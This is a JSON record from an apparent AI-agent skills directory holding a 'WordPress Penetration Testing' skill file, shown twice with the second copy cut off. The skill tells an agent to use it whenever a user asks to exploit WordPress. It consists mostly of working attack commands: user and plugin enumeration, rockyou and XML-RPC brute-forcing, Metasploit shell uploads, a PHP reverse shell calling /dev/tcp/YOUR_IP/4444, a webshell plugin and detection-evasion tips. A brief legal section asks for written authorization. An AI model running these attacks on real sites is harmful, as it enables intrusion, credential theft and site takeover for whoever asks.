[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6DZ90RQ8GCWE9CGPCMHMNDD":3,"skill-same:01M6DZ90RQ8GCWE9CGPCMHMNDD":67},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":14,"repositoryHtmlUrl":49,"repositoryHomepageUrl":50,"ownerHtmlUrl":51,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":52,"install":53,"resources":66},"01M6DZ90RQ8GCWE9CGPCMHMNDD","WordPress Penetration Testing",null,"This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies.","Aceryoung\u002Ffamilyproject","Aceryoung","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F75876477?v=4","01M6DY8Q14MHFC0JX3G14KK9CW","kkong","01M6DY8Q58SY27PE2AH6GFZP9Y",0,"MIT","https:\u002F\u002Fgithub.com\u002FAceryoung\u002Ffamilyproject\u002Fblob\u002Fmain\u002Fantigravity-awesome-skills-main\u002Fskills\u002Fwordpress-penetration-testing\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,5,27,28,29,30,31,32,33,34,35,36,37],"testing","wordpress","penetration testing","security","vulnerabilities","assessment","plugins","user","use","exploit","pentest","security assessment","scan","sites","2026-11-10 10:12:30",false,"---\nname: WordPress Penetration Testing\ndescription: This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# WordPress Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.\n\n## Prerequisites\n\n### Required Tools\n- WPScan (pre-installed in Kali Linux)\n- Metasploit Framework\n- Burp Suite or OWASP ZAP\n- Nmap for initial discovery\n- cURL or wget\n\n### Required Knowledge\n- WordPress architecture and structure\n- Web application testing fundamentals\n- HTTP protocol understanding\n- Common web vulnerabilities (OWASP Top 10)\n\n## Outputs and Deliverables\n\n1. **WordPress Enumeration Report** - Version, themes, plugins, users\n2. **Vulnerability Assessment** - Identified CVEs and misconfigurations\n3. **Credential Assessment** - Weak password findings\n4. **Exploitation Proof** - Shell access documentation\n\n## Core Workflow\n\n### Phase 1: WordPress Discovery\n\nIdentify WordPress installations:\n\n```bash\n# Check for WordPress indicators\ncurl -s http:\u002F\u002Ftarget.com | grep -i wordpress\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"wp-content\"\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"wp-includes\"\n\n# Check common WordPress paths\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-login.php\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-admin\u002F\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-content\u002F\ncurl -I http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# Check meta generator tag\ncurl -s http:\u002F\u002Ftarget.com | grep \"generator\"\n\n# Nmap WordPress detection\nnmap -p 80,443 --script http-wordpress-enum target.com\n```\n\nKey WordPress files and directories:\n- `\u002Fwp-admin\u002F` - Admin dashboard\n- `\u002Fwp-login.php` - Login page\n- `\u002Fwp-content\u002F` - Themes, plugins, uploads\n- `\u002Fwp-includes\u002F` - Core files\n- `\u002Fxmlrpc.php` - XML-RPC interface\n- `\u002Fwp-config.php` - Configuration (not accessible if secure)\n- `\u002Freadme.html` - Version information\n\n### Phase 2: Basic WPScan Enumeration\n\nComprehensive WordPress scanning with WPScan:\n\n```bash\n# Basic scan\nwpscan --url http:\u002F\u002Ftarget.com\u002Fwordpress\u002F\n\n# With API token (for vulnerability data)\nwpscan --url http:\u002F\u002Ftarget.com --api-token YOUR_API_TOKEN\n\n# Aggressive detection mode\nwpscan --url http:\u002F\u002Ftarget.com --detection-mode aggressive\n\n# Output to file\nwpscan --url http:\u002F\u002Ftarget.com -o results.txt\n\n# JSON output\nwpscan --url http:\u002F\u002Ftarget.com -f json -o results.json\n\n# Verbose output\nwpscan --url http:\u002F\u002Ftarget.com -v\n```\n\n### Phase 3: WordPress Version Detection\n\nIdentify WordPress version:\n\n```bash\n# WPScan version detection\nwpscan --url http:\u002F\u002Ftarget.com\n\n# Manual version checks\ncurl -s http:\u002F\u002Ftarget.com\u002Freadme.html | grep -i version\ncurl -s http:\u002F\u002Ftarget.com\u002Ffeed\u002F | grep -i generator\ncurl -s http:\u002F\u002Ftarget.com | grep \"?ver=\"\n\n# Check meta generator\ncurl -s http:\u002F\u002Ftarget.com | grep 'name=\"generator\"'\n\n# Check RSS feeds\ncurl -s http:\u002F\u002Ftarget.com\u002Ffeed\u002F\ncurl -s http:\u002F\u002Ftarget.com\u002Fcomments\u002Ffeed\u002F\n```\n\nVersion sources:\n- Meta generator tag in HTML\n- readme.html file\n- RSS\u002FAtom feeds\n- JavaScript\u002FCSS file versions\n\n### Phase 4: Theme Enumeration\n\nIdentify installed themes:\n\n```bash\n# Enumerate all themes\nwpscan --url http:\u002F\u002Ftarget.com -e at\n\n# Enumerate vulnerable themes only\nwpscan --url http:\u002F\u002Ftarget.com -e vt\n\n# Theme enumeration with detection mode\nwpscan --url http:\u002F\u002Ftarget.com -e at --plugins-detection aggressive\n\n# Manual theme detection\ncurl -s http:\u002F\u002Ftarget.com | grep \"wp-content\u002Fthemes\u002F\"\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\n```\n\nTheme vulnerability checks:\n```bash\n# Search for theme exploits\nsearchsploit wordpress theme \u003Ctheme_name>\n\n# Check theme version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\u003Ctheme>\u002Fstyle.css | grep -i version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\u003Ctheme>\u002Freadme.txt\n```\n\n### Phase 5: Plugin Enumeration\n\nIdentify installed plugins:\n\n```bash\n# Enumerate all plugins\nwpscan --url http:\u002F\u002Ftarget.com -e ap\n\n# Enumerate vulnerable plugins only\nwpscan --url http:\u002F\u002Ftarget.com -e vp\n\n# Aggressive plugin detection\nwpscan --url http:\u002F\u002Ftarget.com -e ap --plugins-detection aggressive\n\n# Mixed detection mode\nwpscan --url http:\u002F\u002Ftarget.com -e ap --plugins-detection mixed\n\n# Manual plugin discovery\ncurl -s http:\u002F\u002Ftarget.com | grep \"wp-content\u002Fplugins\u002F\"\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002F\n```\n\nCommon vulnerable plugins to check:\n```bash\n# Search for plugin exploits\nsearchsploit wordpress plugin \u003Cplugin_name>\nsearchsploit wordpress mail-masta\nsearchsploit wordpress slideshow gallery\nsearchsploit wordpress reflex gallery\n\n# Check plugin version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002F\u003Cplugin>\u002Freadme.txt\n```\n\n### Phase 6: User Enumeration\n\nDiscover WordPress users:\n\n```bash\n# WPScan user enumeration\nwpscan --url http:\u002F\u002Ftarget.com -e u\n\n# Enumerate specific number of users\nwpscan --url http:\u002F\u002Ftarget.com -e u1-100\n\n# Author ID enumeration (manual)\nfor i in {1..20}; do\n    curl -s \"http:\u002F\u002Ftarget.com\u002F?author=$i\" | grep -o 'author\u002F[^\u002F]*\u002F'\ndone\n\n# JSON API user enumeration (if enabled)\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\n\n# REST API user enumeration\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers?per_page=100\n\n# Login error enumeration\ncurl -X POST -d \"log=admin&pwd=wrongpass\" http:\u002F\u002Ftarget.com\u002Fwp-login.php\n```\n\n### Phase 7: Comprehensive Enumeration\n\nRun all enumeration modules:\n\n```bash\n# Enumerate everything\nwpscan --url http:\u002F\u002Ftarget.com -e at -e ap -e u\n\n# Alternative comprehensive scan\nwpscan --url http:\u002F\u002Ftarget.com -e vp,vt,u,cb,dbe\n\n# Enumeration flags:\n# at - All themes\n# vt - Vulnerable themes\n# ap - All plugins\n# vp - Vulnerable plugins\n# u  - Users (1-10)\n# cb - Config backups\n# dbe - Database exports\n\n# Full aggressive enumeration\nwpscan --url http:\u002F\u002Ftarget.com -e at,ap,u,cb,dbe \\\n    --detection-mode aggressive \\\n    --plugins-detection aggressive\n```\n\n### Phase 8: Password Attacks\n\nBrute-force WordPress credentials:\n\n```bash\n# Single user brute-force\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Multiple users from file\nwpscan --url http:\u002F\u002Ftarget.com -U users.txt -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# With password attack threads\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --password-attack wp-login -t 50\n\n# XML-RPC brute-force (faster, may bypass protection)\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --password-attack xmlrpc\n\n# Brute-force with API limiting\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --throttle 500\n\n# Create targeted wordlist\ncewl http:\u002F\u002Ftarget.com -w wordlist.txt\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P wordlist.txt\n```\n\nPassword attack methods:\n- `wp-login` - Standard login form\n- `xmlrpc` - XML-RPC multicall (faster)\n- `xmlrpc-multicall` - Multiple passwords per request\n\n### Phase 9: Vulnerability Exploitation\n\n#### Metasploit Shell Upload\n\nAfter obtaining credentials:\n\n```bash\n# Start Metasploit\nmsfconsole\n\n# Admin shell upload\nuse exploit\u002Funix\u002Fwebapp\u002Fwp_admin_shell_upload\nset RHOSTS target.com\nset USERNAME admin\nset PASSWORD jessica\nset TARGETURI \u002Fwordpress\nset LHOST \u003Cyour_ip>\nexploit\n```\n\n#### Plugin Exploitation\n\n```bash\n# Slideshow Gallery exploit\nuse exploit\u002Funix\u002Fwebapp\u002Fwp_slideshowgallery_upload\nset RHOSTS target.com\nset TARGETURI \u002Fwordpress\nset USERNAME admin\nset PASSWORD jessica\nset LHOST \u003Cyour_ip>\nexploit\n\n# Search for WordPress exploits\nsearch type:exploit platform:php wordpress\n```\n\n#### Manual Exploitation\n\nTheme\u002Fplugin editor (with admin access):\n\n```php\n\u002F\u002F Navigate to Appearance > Theme Editor\n\u002F\u002F Edit 404.php or functions.php\n\u002F\u002F Add PHP reverse shell:\n\n\u003C?php\nexec(\"\u002Fbin\u002Fbash -c 'bash -i >& \u002Fdev\u002Ftcp\u002FYOUR_IP\u002F4444 0>&1'\");\n?>\n\n\u002F\u002F Or use weevely backdoor\n\u002F\u002F Access via: http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002Ftheme_name\u002F404.php\n```\n\nPlugin upload method:\n\n```bash\n# Create malicious plugin\ncat > malicious.php \u003C\u003C 'EOF'\n\u003C?php\n\u002F*\nPlugin Name: Malicious Plugin\nDescription: Security Testing\nVersion: 1.0\n*\u002F\nif(isset($_GET['cmd'])){\n    system($_GET['cmd']);\n}\n?>\nEOF\n\n# Zip and upload via Plugins > Add New > Upload Plugin\nzip malicious.zip malicious.php\n\n# Access webshell\ncurl \"http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002Fmalicious\u002Fmalicious.php?cmd=id\"\n```\n\n### Phase 10: Advanced Techniques\n\n#### XML-RPC Exploitation\n\n```bash\n# Check if XML-RPC is enabled\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# List available methods\ncurl -X POST -d '\u003C?xml version=\"1.0\"?>\u003CmethodCall>\u003CmethodName>system.listMethods\u003C\u002FmethodName>\u003C\u002FmethodCall>' http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# Brute-force via XML-RPC multicall\ncat > xmlrpc_brute.xml \u003C\u003C 'EOF'\n\u003C?xml version=\"1.0\"?>\n\u003CmethodCall>\n\u003CmethodName>system.multicall\u003C\u002FmethodName>\n\u003Cparams>\n\u003Cparam>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstruct>\n\u003Cmember>\u003Cname>methodName\u003C\u002Fname>\u003Cvalue>\u003Cstring>wp.getUsersBlogs\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003Cmember>\u003Cname>params\u003C\u002Fname>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstring>admin\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstring>password1\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003C\u002Fstruct>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstruct>\n\u003Cmember>\u003Cname>methodName\u003C\u002Fname>\u003Cvalue>\u003Cstring>wp.getUsersBlogs\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003Cmember>\u003Cname>params\u003C\u002Fname>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstring>admin\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstring>password2\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003C\u002Fstruct>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fparam>\n\u003C\u002Fparams>\n\u003C\u002FmethodCall>\nEOF\n\ncurl -X POST -d @xmlrpc_brute.xml http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n```\n\n#### Scanning Through Proxy\n\n```bash\n# Use Tor proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy socks5:\u002F\u002F127.0.0.1:9050\n\n# HTTP proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy http:\u002F\u002F127.0.0.1:8080\n\n# Burp Suite proxy\nwpscan --url http:\u002F\u002Ftarget.com --proxy http:\u002F\u002F127.0.0.1:8080 --disable-tls-checks\n```\n\n#### HTTP Authentication\n\n```bash\n# Basic authentication\nwpscan --url http:\u002F\u002Ftarget.com --http-auth admin:password\n\n# Force SSL\u002FTLS\nwpscan --url https:\u002F\u002Ftarget.com --disable-tls-checks\n```\n\n## Quick Reference\n\n### WPScan Enumeration Flags\n\n| Flag | Description |\n|------|-------------|\n| `-e at` | All themes |\n| `-e vt` | Vulnerable themes |\n| `-e ap` | All plugins |\n| `-e vp` | Vulnerable plugins |\n| `-e u` | Users (1-10) |\n| `-e cb` | Config backups |\n| `-e dbe` | Database exports |\n\n### Common WordPress Paths\n\n| Path | Purpose |\n|------|---------|\n| `\u002Fwp-admin\u002F` | Admin dashboard |\n| `\u002Fwp-login.php` | Login page |\n| `\u002Fwp-content\u002Fuploads\u002F` | User uploads |\n| `\u002Fwp-includes\u002F` | Core files |\n| `\u002Fxmlrpc.php` | XML-RPC API |\n| `\u002Fwp-json\u002F` | REST API |\n\n### WPScan Command Examples\n\n| Purpose | Command |\n|---------|---------|\n| Basic scan | `wpscan --url http:\u002F\u002Ftarget.com` |\n| All enumeration | `wpscan --url http:\u002F\u002Ftarget.com -e at,ap,u` |\n| Password attack | `wpscan --url http:\u002F\u002Ftarget.com -U admin -P pass.txt` |\n| Aggressive | `wpscan --url http:\u002F\u002Ftarget.com --detection-mode aggressive` |\n\n## Constraints and Limitations\n\n### Legal Considerations\n- Obtain written authorization before testing\n- Stay within defined scope\n- Document all testing activities\n- Follow responsible disclosure\n\n### Technical Limitations\n- WAF may block scanning\n- Rate limiting may prevent brute-force\n- Some plugins may have false negatives\n- XML-RPC may be disabled\n\n### Detection Evasion\n- Use random user agents: `--random-user-agent`\n- Throttle requests: `--throttle 1000`\n- Use proxy rotation\n- Avoid aggressive modes on monitored sites\n\n## Troubleshooting\n\n### WPScan Shows No Vulnerabilities\n\n**Solutions:**\n1. Use API token for vulnerability database\n2. Try aggressive detection mode\n3. Check for WAF blocking scans\n4. Verify WordPress is actually installed\n\n### Brute-Force Blocked\n\n**Solutions:**\n1. Use XML-RPC method instead of wp-login\n2. Add throttling: `--throttle 500`\n3. Use different user agents\n4. Check for IP blocking\u002Ffail2ban\n\n### Cannot Access Admin Panel\n\n**Solutions:**\n1. Verify credentials are correct\n2. Check for two-factor authentication\n3. Look for IP whitelist restrictions\n4. Check for login URL changes (security plugins)\n","# WordPress Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.\n\n## Prerequisites\n\n### Required Tools\n- WPScan (pre-installed in Kali Linux)\n- Metasploit Framework\n- Burp Suite or OWASP ZAP\n- Nmap for initial discovery\n- cURL or wget\n\n### Required Knowledge\n- WordPress architecture and structure\n- Web application testing fundamentals\n- HTTP protocol understanding\n- Common web vulnerabilities (OWASP Top 10)\n\n## Outputs and Deliverables\n\n1. **WordPress Enumeration Report** - Version, themes, plugins, users\n2. **Vulnerability Assessment** - Identified CVEs and misconfigurations\n3. **Credential Assessment** - Weak password findings\n4. **Exploitation Proof** - Shell access documentation\n\n## Core Workflow\n\n### Phase 1: WordPress Discovery\n\nIdentify WordPress installations:\n\n```bash\n# Check for WordPress indicators\ncurl -s http:\u002F\u002Ftarget.com | grep -i wordpress\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"wp-content\"\ncurl -s http:\u002F\u002Ftarget.com | grep -i \"wp-includes\"\n\n# Check common WordPress paths\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-login.php\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-admin\u002F\ncurl -I http:\u002F\u002Ftarget.com\u002Fwp-content\u002F\ncurl -I http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# Check meta generator tag\ncurl -s http:\u002F\u002Ftarget.com | grep \"generator\"\n\n# Nmap WordPress detection\nnmap -p 80,443 --script http-wordpress-enum target.com\n```\n\nKey WordPress files and directories:\n- `\u002Fwp-admin\u002F` - Admin dashboard\n- `\u002Fwp-login.php` - Login page\n- `\u002Fwp-content\u002F` - Themes, plugins, uploads\n- `\u002Fwp-includes\u002F` - Core files\n- `\u002Fxmlrpc.php` - XML-RPC interface\n- `\u002Fwp-config.php` - Configuration (not accessible if secure)\n- `\u002Freadme.html` - Version information\n\n### Phase 2: Basic WPScan Enumeration\n\nComprehensive WordPress scanning with WPScan:\n\n```bash\n# Basic scan\nwpscan --url http:\u002F\u002Ftarget.com\u002Fwordpress\u002F\n\n# With API token (for vulnerability data)\nwpscan --url http:\u002F\u002Ftarget.com --api-token YOUR_API_TOKEN\n\n# Aggressive detection mode\nwpscan --url http:\u002F\u002Ftarget.com --detection-mode aggressive\n\n# Output to file\nwpscan --url http:\u002F\u002Ftarget.com -o results.txt\n\n# JSON output\nwpscan --url http:\u002F\u002Ftarget.com -f json -o results.json\n\n# Verbose output\nwpscan --url http:\u002F\u002Ftarget.com -v\n```\n\n### Phase 3: WordPress Version Detection\n\nIdentify WordPress version:\n\n```bash\n# WPScan version detection\nwpscan --url http:\u002F\u002Ftarget.com\n\n# Manual version checks\ncurl -s http:\u002F\u002Ftarget.com\u002Freadme.html | grep -i version\ncurl -s http:\u002F\u002Ftarget.com\u002Ffeed\u002F | grep -i generator\ncurl -s http:\u002F\u002Ftarget.com | grep \"?ver=\"\n\n# Check meta generator\ncurl -s http:\u002F\u002Ftarget.com | grep 'name=\"generator\"'\n\n# Check RSS feeds\ncurl -s http:\u002F\u002Ftarget.com\u002Ffeed\u002F\ncurl -s http:\u002F\u002Ftarget.com\u002Fcomments\u002Ffeed\u002F\n```\n\nVersion sources:\n- Meta generator tag in HTML\n- readme.html file\n- RSS\u002FAtom feeds\n- JavaScript\u002FCSS file versions\n\n### Phase 4: Theme Enumeration\n\nIdentify installed themes:\n\n```bash\n# Enumerate all themes\nwpscan --url http:\u002F\u002Ftarget.com -e at\n\n# Enumerate vulnerable themes only\nwpscan --url http:\u002F\u002Ftarget.com -e vt\n\n# Theme enumeration with detection mode\nwpscan --url http:\u002F\u002Ftarget.com -e at --plugins-detection aggressive\n\n# Manual theme detection\ncurl -s http:\u002F\u002Ftarget.com | grep \"wp-content\u002Fthemes\u002F\"\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\n```\n\nTheme vulnerability checks:\n```bash\n# Search for theme exploits\nsearchsploit wordpress theme \u003Ctheme_name>\n\n# Check theme version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\u003Ctheme>\u002Fstyle.css | grep -i version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002F\u003Ctheme>\u002Freadme.txt\n```\n\n### Phase 5: Plugin Enumeration\n\nIdentify installed plugins:\n\n```bash\n# Enumerate all plugins\nwpscan --url http:\u002F\u002Ftarget.com -e ap\n\n# Enumerate vulnerable plugins only\nwpscan --url http:\u002F\u002Ftarget.com -e vp\n\n# Aggressive plugin detection\nwpscan --url http:\u002F\u002Ftarget.com -e ap --plugins-detection aggressive\n\n# Mixed detection mode\nwpscan --url http:\u002F\u002Ftarget.com -e ap --plugins-detection mixed\n\n# Manual plugin discovery\ncurl -s http:\u002F\u002Ftarget.com | grep \"wp-content\u002Fplugins\u002F\"\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002F\n```\n\nCommon vulnerable plugins to check:\n```bash\n# Search for plugin exploits\nsearchsploit wordpress plugin \u003Cplugin_name>\nsearchsploit wordpress mail-masta\nsearchsploit wordpress slideshow gallery\nsearchsploit wordpress reflex gallery\n\n# Check plugin version\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002F\u003Cplugin>\u002Freadme.txt\n```\n\n### Phase 6: User Enumeration\n\nDiscover WordPress users:\n\n```bash\n# WPScan user enumeration\nwpscan --url http:\u002F\u002Ftarget.com -e u\n\n# Enumerate specific number of users\nwpscan --url http:\u002F\u002Ftarget.com -e u1-100\n\n# Author ID enumeration (manual)\nfor i in {1..20}; do\n    curl -s \"http:\u002F\u002Ftarget.com\u002F?author=$i\" | grep -o 'author\u002F[^\u002F]*\u002F'\ndone\n\n# JSON API user enumeration (if enabled)\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers\n\n# REST API user enumeration\ncurl -s http:\u002F\u002Ftarget.com\u002Fwp-json\u002Fwp\u002Fv2\u002Fusers?per_page=100\n\n# Login error enumeration\ncurl -X POST -d \"log=admin&pwd=wrongpass\" http:\u002F\u002Ftarget.com\u002Fwp-login.php\n```\n\n### Phase 7: Comprehensive Enumeration\n\nRun all enumeration modules:\n\n```bash\n# Enumerate everything\nwpscan --url http:\u002F\u002Ftarget.com -e at -e ap -e u\n\n# Alternative comprehensive scan\nwpscan --url http:\u002F\u002Ftarget.com -e vp,vt,u,cb,dbe\n\n# Enumeration flags:\n# at - All themes\n# vt - Vulnerable themes\n# ap - All plugins\n# vp - Vulnerable plugins\n# u  - Users (1-10)\n# cb - Config backups\n# dbe - Database exports\n\n# Full aggressive enumeration\nwpscan --url http:\u002F\u002Ftarget.com -e at,ap,u,cb,dbe \\\n    --detection-mode aggressive \\\n    --plugins-detection aggressive\n```\n\n### Phase 8: Password Attacks\n\nBrute-force WordPress credentials:\n\n```bash\n# Single user brute-force\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# Multiple users from file\nwpscan --url http:\u002F\u002Ftarget.com -U users.txt -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# With password attack threads\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --password-attack wp-login -t 50\n\n# XML-RPC brute-force (faster, may bypass protection)\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --password-attack xmlrpc\n\n# Brute-force with API limiting\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P passwords.txt --throttle 500\n\n# Create targeted wordlist\ncewl http:\u002F\u002Ftarget.com -w wordlist.txt\nwpscan --url http:\u002F\u002Ftarget.com -U admin -P wordlist.txt\n```\n\nPassword attack methods:\n- `wp-login` - Standard login form\n- `xmlrpc` - XML-RPC multicall (faster)\n- `xmlrpc-multicall` - Multiple passwords per request\n\n### Phase 9: Vulnerability Exploitation\n\n#### Metasploit Shell Upload\n\nAfter obtaining credentials:\n\n```bash\n# Start Metasploit\nmsfconsole\n\n# Admin shell upload\nuse exploit\u002Funix\u002Fwebapp\u002Fwp_admin_shell_upload\nset RHOSTS target.com\nset USERNAME admin\nset PASSWORD jessica\nset TARGETURI \u002Fwordpress\nset LHOST \u003Cyour_ip>\nexploit\n```\n\n#### Plugin Exploitation\n\n```bash\n# Slideshow Gallery exploit\nuse exploit\u002Funix\u002Fwebapp\u002Fwp_slideshowgallery_upload\nset RHOSTS target.com\nset TARGETURI \u002Fwordpress\nset USERNAME admin\nset PASSWORD jessica\nset LHOST \u003Cyour_ip>\nexploit\n\n# Search for WordPress exploits\nsearch type:exploit platform:php wordpress\n```\n\n#### Manual Exploitation\n\nTheme\u002Fplugin editor (with admin access):\n\n```php\n\u002F\u002F Navigate to Appearance > Theme Editor\n\u002F\u002F Edit 404.php or functions.php\n\u002F\u002F Add PHP reverse shell:\n\n\u003C?php\nexec(\"\u002Fbin\u002Fbash -c 'bash -i >& \u002Fdev\u002Ftcp\u002FYOUR_IP\u002F4444 0>&1'\");\n?>\n\n\u002F\u002F Or use weevely backdoor\n\u002F\u002F Access via: http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fthemes\u002Ftheme_name\u002F404.php\n```\n\nPlugin upload method:\n\n```bash\n# Create malicious plugin\ncat > malicious.php \u003C\u003C 'EOF'\n\u003C?php\n\u002F*\nPlugin Name: Malicious Plugin\nDescription: Security Testing\nVersion: 1.0\n*\u002F\nif(isset($_GET['cmd'])){\n    system($_GET['cmd']);\n}\n?>\nEOF\n\n# Zip and upload via Plugins > Add New > Upload Plugin\nzip malicious.zip malicious.php\n\n# Access webshell\ncurl \"http:\u002F\u002Ftarget.com\u002Fwp-content\u002Fplugins\u002Fmalicious\u002Fmalicious.php?cmd=id\"\n```\n\n### Phase 10: Advanced Techniques\n\n#### XML-RPC Exploitation\n\n```bash\n# Check if XML-RPC is enabled\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# List available methods\ncurl -X POST -d '\u003C?xml version=\"1.0\"?>\u003CmethodCall>\u003CmethodName>system.listMethods\u003C\u002FmethodName>\u003C\u002FmethodCall>' http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n\n# Brute-force via XML-RPC multicall\ncat > xmlrpc_brute.xml \u003C\u003C 'EOF'\n\u003C?xml version=\"1.0\"?>\n\u003CmethodCall>\n\u003CmethodName>system.multicall\u003C\u002FmethodName>\n\u003Cparams>\n\u003Cparam>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstruct>\n\u003Cmember>\u003Cname>methodName\u003C\u002Fname>\u003Cvalue>\u003Cstring>wp.getUsersBlogs\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003Cmember>\u003Cname>params\u003C\u002Fname>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstring>admin\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstring>password1\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003C\u002Fstruct>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstruct>\n\u003Cmember>\u003Cname>methodName\u003C\u002Fname>\u003Cvalue>\u003Cstring>wp.getUsersBlogs\u003C\u002Fstring>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003Cmember>\u003Cname>params\u003C\u002Fname>\u003Cvalue>\u003Carray>\u003Cdata>\n\u003Cvalue>\u003Cstring>admin\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003Cvalue>\u003Cstring>password2\u003C\u002Fstring>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fmember>\n\u003C\u002Fstruct>\u003C\u002Fvalue>\n\u003C\u002Fdata>\u003C\u002Farray>\u003C\u002Fvalue>\u003C\u002Fparam>\n\u003C\u002Fparams>\n\u003C\u002FmethodCall>\nEOF\n\ncurl -X POST -d @xmlrpc_brute.xml http:\u002F\u002Ftarget.com\u002Fxmlrpc.php\n```\n\n#### Scanning Through 